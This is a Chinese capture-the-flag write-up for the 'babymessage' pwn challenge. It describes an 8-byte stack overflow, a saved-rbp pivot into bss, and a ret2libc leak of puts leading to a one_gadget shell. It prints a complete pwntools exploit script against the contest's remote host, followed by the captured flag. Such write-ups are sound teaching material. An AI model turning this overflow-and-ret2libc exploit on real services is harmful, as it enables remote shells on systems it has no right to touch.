[强网先锋] babymessage
64位程序,保护没怎么开。
程序逻辑:
1、首先是菜单界面
2、进入功能函数,首先定义一个局部变量,这个是关键。
a、leave_name函数,往bss写入4个字节
b、leave_message函数,有个溢出,溢出8字节,可以改变返回rbp的值
c、show函数,打印name和message,没用到。
3、思路:
通过leave_name函数,往bss段(0x6010d0)写入一个0x100的数。
通过leave_message函数的溢出,将旧栈帧的rbp改成(0x6010d0+4),
然后根据偏移,每次在进入leave_message函数前,v1的值都会变成0x100
然后就用ret2libc进行getshell,用puts函数打印出puts函数的真实地址,然后算出one_gadget的地址,最后再把one_gadget填入返回地址。
完整脚本:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.log_level = "debug" #p = process("./babymessage") p = remote("123.56.170.202", 21342) elf = ELF("./babymessage") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def choice(idx): p.sendlineafter("choice:", str(idx)) #gdb.attach(p) choice(1) p.sendafter("name:", p32(0x100)) choice(2) p.sendafter("message:", "a"*8 + p64(0x6010d0+4)) exp = "a" * 8 + p64(0x6010d4) + p64(0x400ac3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40091a) choice(2) p.sendafter("message:", exp) p.recvuntil("done!\n\n") leak = u64(p.recv(6).ljust(8, "\x00")) print hex(leak) libc_base = leak - 0x80a30 one = libc_base + 0x4f3c2 choice(2) p.sendafter("message:", "a"*8 + p64(0x6010d0+4)) exp = "a" * 8 + p64(0x6010d4) + p64(one) + "\x00" * 0x60 choice(2) p.sendafter("message:", exp) p.interactive()
flag:flag{54f18e716d396c90ad6d613ed5225729}
打赏还是打残,这是个问题
没有帐号? 立即注册